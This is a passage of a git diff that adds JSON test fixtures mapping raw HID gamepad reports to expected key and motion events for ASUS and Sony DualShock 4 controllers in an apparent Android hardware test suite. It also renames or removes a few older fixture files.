diff --git a/tests/tests/hardware/res/raw/asus_gamepad_keyeventtests.json b/tests/tests/hardware/res/raw/asus_gamepad_keyeventtests.json
new file mode 100644
index 0000000..73d77b5
--- /dev/null
+++ b/tests/tests/hardware/res/raw/asus_gamepad_keyeventtests.json
@@ -0,0 +1,121 @@
+[
+  {
+    "name": "Press BUTTON_A",
+    "reports": [
+      [0x01, 0x01, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
+    ],
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_A"},
+      {"action": "UP", "keycode": "BUTTON_A"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_B",
+    "reports": [
+      [0x01, 0x02, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
+    ],
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_B"},
+      {"action": "UP", "keycode": "BUTTON_B"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_X",
+    "reports": [
+      [0x01, 0x04, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
+    ],
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_X"},
+      {"action": "UP", "keycode": "BUTTON_X"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_Y",
+    "reports": [
+      [0x01, 0x08, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
+    ],
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_Y"},
+      {"action": "UP", "keycode": "BUTTON_Y"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_L1",
+    "reports": [
+      [0x01, 0x10, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
+    ],
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_L1"},
+      {"action": "UP", "keycode": "BUTTON_L1"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_R1",
+    "reports": [
+      [0x01, 0x20, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
+    ],
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_R1"},
+      {"action": "UP", "keycode": "BUTTON_R1"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_THUMBL",
+    "reports": [
+      [0x01, 0x40, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
+    ],
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_THUMBL"},
+      {"action": "UP", "keycode": "BUTTON_THUMBL"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_THUMBR",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
+    ],
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_THUMBR"},
+      {"action": "UP", "keycode": "BUTTON_THUMBR"}
+    ]
+  },
+
+  {
+    "name": "Press POWER button (the button in the center)",
+    "reports": [
+      [0x01, 0x00, 0x81, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
+    ],
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_MODE"},
+      {"action": "UP", "keycode": "BUTTON_MODE"}
+    ]
+  },
+
+  {
+    "name": "Press BACK button (left arrow)",
+    "reports": [
+      [0x01, 0x00, 0x82, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
+    ],
+    "events": [
+      {"action": "DOWN", "keycode": "BACK"},
+      {"action": "UP", "keycode": "BACK"}
+    ]
+  }
+]
\ No newline at end of file
diff --git a/tests/tests/hardware/res/raw/asus_gamepad_motioneventtests.json b/tests/tests/hardware/res/raw/asus_gamepad_motioneventtests.json
new file mode 100644
index 0000000..e104040
--- /dev/null
+++ b/tests/tests/hardware/res/raw/asus_gamepad_motioneventtests.json
@@ -0,0 +1,256 @@
+[
+  {
+    "name": "Sanity check - should not produce any events",
+    "reports": [
+      [0x01, 0x00, 0x80, 0x83, 0x80, 0x80, 0x80, 0x00, 0x00]
+    ],
+    "events": []
+  },
+
+  {
+    "name": "Left stick - press down (all axes)",
+    "reports": [
+      [0x01, 0x00, 0x80, 0x87, 0x89, 0x72, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x93, 0xf7, 0x71, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0xa0, 0xff, 0x71, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x83, 0x73, 0x71, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x83, 0x80, 0x72, 0x80, 0x00, 0x00]
+                ],
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_X": 0.059, "AXIS_Y": 0.0745, "AXIS_Z": -0.106}},
+      {"action": "MOVE", "axes": {"AXIS_X": 0.153, "AXIS_Y": 0.9373, "AXIS_Z": -0.106}},
+      {"action": "MOVE", "axes": {"AXIS_X": 0.255, "AXIS_Y": 1.0000, "AXIS_Z": -0.106}},
+      {"action": "MOVE", "axes": {"AXIS_X": 0.027, "AXIS_Y": -0.098, "AXIS_Z": -0.106}},
+      {"action": "MOVE", "axes": {"AXIS_X": 0.027, "AXIS_Y": 0.0039, "AXIS_Z": -0.106}}
+    ]
+  },
+
+  {
+    "name": "Press left DPAD key",
+    "reports": [
+      [0x01, 0x00, 0x60, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
+    ],
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_HAT_X": -1}},
+      {"action": "MOVE", "axes": {"AXIS_HAT_X": 0}}
+    ]
+  },
+
+  {
+    "name": "Press right DPAD key",
+    "reports": [
+      [0x01, 0x00, 0x20, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
+    ],
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_HAT_X": 1}},
+      {"action": "MOVE", "axes": {"AXIS_HAT_X": 0}}
+    ]
+  },
+
+  {
+    "name": "Press up DPAD key",
+    "reports": [
+      [0x01, 0x00, 0x00, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
+    ],
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": -1}},
+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": 0}}
+    ]
+  },
+
+  {
+    "name": "Press down DPAD key",
+    "reports": [
+      [0x01, 0x00, 0x40, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
+    ],
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": 1}},
+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": 0}}
+    ]
+  },
+
+  {
+    "name": "Left stick - press left",
+    "reports": [
+      [0x01, 0x00, 0x80, 0x16, 0x80, 0x80, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x00, 0x80, 0x80, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x20, 0x80, 0x80, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x7a, 0x80, 0x80, 0x80, 0x00, 0x00]
+    ],
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_X": -0.827}},
+      {"action": "MOVE", "axes": {"AXIS_X": -1.0}},
+      {"action": "MOVE", "axes": {"AXIS_X": -0.749}},
+      {"action": "MOVE", "axes": {"AXIS_X": -0.043}}
+    ]
+  },
+
+  {
+    "name": "Left stick - press right",
+    "reports": [
+      [0x01, 0x00, 0x80, 0xd3, 0x80, 0x80, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0xff, 0x80, 0x80, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x74, 0x80, 0x80, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x7f, 0x80, 0x80, 0x80, 0x00, 0x00]
+    ],
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_X": 0.655}},
+      {"action": "MOVE", "axes": {"AXIS_X": 1.0}},
+      {"action": "MOVE", "axes": {"AXIS_X": -0.090}},
+      {"action": "MOVE", "axes": {"AXIS_X": -0.004}}
+    ]
+  },
+
+  {
+    "name": "Left stick - press up",
+    "reports": [
+      [0x01, 0x00, 0x80, 0x80, 0x7c, 0x80, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x55, 0x80, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x20, 0x80, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x00, 0x80, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x09, 0x80, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x4a, 0x80, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
+    ],
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_Y": -0.031}},
+      {"action": "MOVE", "axes": {"AXIS_Y": -0.333}},
+      {"action": "MOVE", "axes": {"AXIS_Y": -0.749}},
+      {"action": "MOVE", "axes": {"AXIS_Y": -1.0}},
+      {"action": "MOVE", "axes": {"AXIS_Y": -0.929}},
+      {"action": "MOVE", "axes": {"AXIS_Y": -0.420}},
+      {"action": "MOVE", "axes": {"AXIS_Y": 0.004}}
+    ]
+  },
+
+  {
+    "name": "Left stick - press down",
+    "reports": [
+      [0x01, 0x00, 0x80, 0x80, 0x97, 0x80, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0xff, 0x80, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0xd1, 0x80, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
+    ],
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_Y": 0.184}},
+      {"action": "MOVE", "axes": {"AXIS_Y": 1.0}},
+      {"action": "MOVE", "axes": {"AXIS_Y": 0.639}},
+      {"action": "MOVE", "axes": {"AXIS_Y": 0.004}}
+    ]
+  },
+
+  {
+    "name": "Right stick - press left",
+    "reports": [
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x66, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x13, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x00, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x21, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
+    ],
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_Z": -0.200}},
+      {"action": "MOVE", "axes": {"AXIS_Z": -0.851}},
+      {"action": "MOVE", "axes": {"AXIS_Z": -1.0}},
+      {"action": "MOVE", "axes": {"AXIS_Z": -0.74}},
+      {"action": "MOVE", "axes": {"AXIS_Z": 0.004}}
+    ]
+  },
+
+  {
+    "name": "Right stick - press right",
+    "reports": [
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x8e, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x9d, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0xc4, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0xeb, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0xff, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0xcf, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x93, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x8c, 0x80, 0x00, 0x00]
+    ],
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_Z": 0.114}},
+      {"action": "MOVE", "axes": {"AXIS_Z": 0.231}},
+      {"action": "MOVE", "axes": {"AXIS_Z": 0.537}},
+      {"action": "MOVE", "axes": {"AXIS_Z": 0.843}},
+      {"action": "MOVE", "axes": {"AXIS_Z": 1.0}},
+      {"action": "MOVE", "axes": {"AXIS_Z": 0.624}},
+      {"action": "MOVE", "axes": {"AXIS_Z": 0.153}},
+      {"action": "MOVE", "axes": {"AXIS_Z": 0.098}}
+    ]
+  },
+
+  {
+    "name": "Right stick - press up",
+    "reports": [
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x61, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x55, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
+    ],
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_RZ": -0.239}},
+      {"action": "MOVE", "axes": {"AXIS_RZ": -1.0}},
+      {"action": "MOVE", "axes": {"AXIS_RZ": -0.333}},
+      {"action": "MOVE", "axes": {"AXIS_RZ": 0.004}}
+    ]
+  },
+
+  {
+    "name": "Right stick - press down",
+    "reports": [
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x83, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x90, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0xff, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x54, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x82, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
+    ],
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_RZ": 0.129}},
+      {"action": "MOVE", "axes": {"AXIS_RZ": 1.0}},
+      {"action": "MOVE", "axes": {"AXIS_RZ": -0.341}},
+      {"action": "MOVE", "axes": {"AXIS_RZ": 0.020}},
+      {"action": "MOVE", "axes": {"AXIS_RZ": 0.004}}
+    ]
+  },
+
+  {
+    "name": "Left trigger - quick press",
+    "reports": [
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0xa6, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0xff, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x90, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
+    ],
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_LTRIGGER": 0.651, "AXIS_BRAKE": 0.651}},
+      {"action": "MOVE", "axes": {"AXIS_LTRIGGER": 1.0, "AXIS_BRAKE": 1.0}},
+      {"action": "MOVE", "axes": {"AXIS_LTRIGGER": 0.565, "AXIS_BRAKE": 0.565}},
+      {"action": "MOVE", "axes": {"AXIS_LTRIGGER": 0, "AXIS_BRAKE": 0}}
+    ]
+  },
+
+  {
+    "name": "Right trigger - quick press",
+    "reports": [
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0xaf],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0xff],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0xa5],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
+    ],
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_RTRIGGER": 0.686, "AXIS_GAS": 0.686}},
+      {"action": "MOVE", "axes": {"AXIS_RTRIGGER": 1.0, "AXIS_GAS": 1.0}},
+      {"action": "MOVE", "axes": {"AXIS_RTRIGGER": 0.647, "AXIS_GAS": 0.647}},
+      {"action": "MOVE", "axes": {"AXIS_RTRIGGER": 0, "AXIS_GAS": 0}}
+    ]
+  }
+
+
+]
\ No newline at end of file
diff --git a/tests/tests/hardware/res/raw/gamepad_register_device.json b/tests/tests/hardware/res/raw/asus_gamepad_register.json
similarity index 100%
rename from tests/tests/hardware/res/raw/gamepad_register_device.json
rename to tests/tests/hardware/res/raw/asus_gamepad_register.json
diff --git a/tests/tests/hardware/res/raw/gamepad_button_a_down.json b/tests/tests/hardware/res/raw/gamepad_button_a_down.json
deleted file mode 100644
index 21f5186..0000000
--- a/tests/tests/hardware/res/raw/gamepad_button_a_down.json
+++ /dev/null
@@ -1,5 +0,0 @@
-{
-  "id": 1,
-  "command": "report",
-  "report": [0x01, 0x01, 0x80, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00]
-}
diff --git a/tests/tests/hardware/res/raw/gamepad_button_a_up.json b/tests/tests/hardware/res/raw/gamepad_button_a_up.json
deleted file mode 100644
index ab1eb0e..0000000
--- a/tests/tests/hardware/res/raw/gamepad_button_a_up.json
+++ /dev/null
@@ -1,5 +0,0 @@
-{
-  "id": 1,
-  "command": "report",
-  "report": [0x01, 0x00, 0x80, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00]
-}
\ No newline at end of file
diff --git a/tests/tests/hardware/res/raw/gamepad_delay.json b/tests/tests/hardware/res/raw/gamepad_delay.json
deleted file mode 100644
index a25c3dd..0000000
--- a/tests/tests/hardware/res/raw/gamepad_delay.json
+++ /dev/null
@@ -1,5 +0,0 @@
-{
-  "id": 1,
-  "command": "delay",
-  "duration": 10
-}
diff --git a/tests/tests/hardware/res/raw/sony_dualshock4_keyeventtests.json b/tests/tests/hardware/res/raw/sony_dualshock4_keyeventtests.json
new file mode 100644
index 0000000..4271249
--- /dev/null
+++ b/tests/tests/hardware/res/raw/sony_dualshock4_keyeventtests.json
@@ -0,0 +1,288 @@
+[
+  {
+    "name": "Press BUTTON_A",
+    "reports": [
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x28, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42,
+      0xf4, 0xd7, 0xf4],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
+      0x23, 0xe0, 0x5d]
+    ],
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_A"},
+      {"action": "UP", "keycode": "BUTTON_A"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_B",
+    "reports": [
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x48, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6e,
+      0x8a, 0xfe, 0xd4],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
+      0x23, 0xe0, 0x5d]
+    ],
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_B"},
+      {"action": "UP", "keycode": "BUTTON_B"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_X",
+    "reports": [
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x18, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54,
+      0x4b, 0xc3, 0xe4],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
+      0x23, 0xe0, 0x5d]
+    ],
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_X"},
+      {"action": "UP", "keycode": "BUTTON_X"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_Y",
+    "reports": [
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x88, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x36,
+      0x76, 0xac, 0x94],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
+      0x23, 0xe0, 0x5d]
+    ],
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_Y"},
+      {"action": "UP", "keycode": "BUTTON_Y"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_L1",
+    "reports": [
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x01, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x86,
+      0x8e, 0x09, 0x14],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
+      0x23, 0xe0, 0x5d]
+    ],
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_L1"},
+      {"action": "UP", "keycode": "BUTTON_L1"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_R1",
+    "reports": [
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x02, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa7,
+      0x79, 0x33, 0xce],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
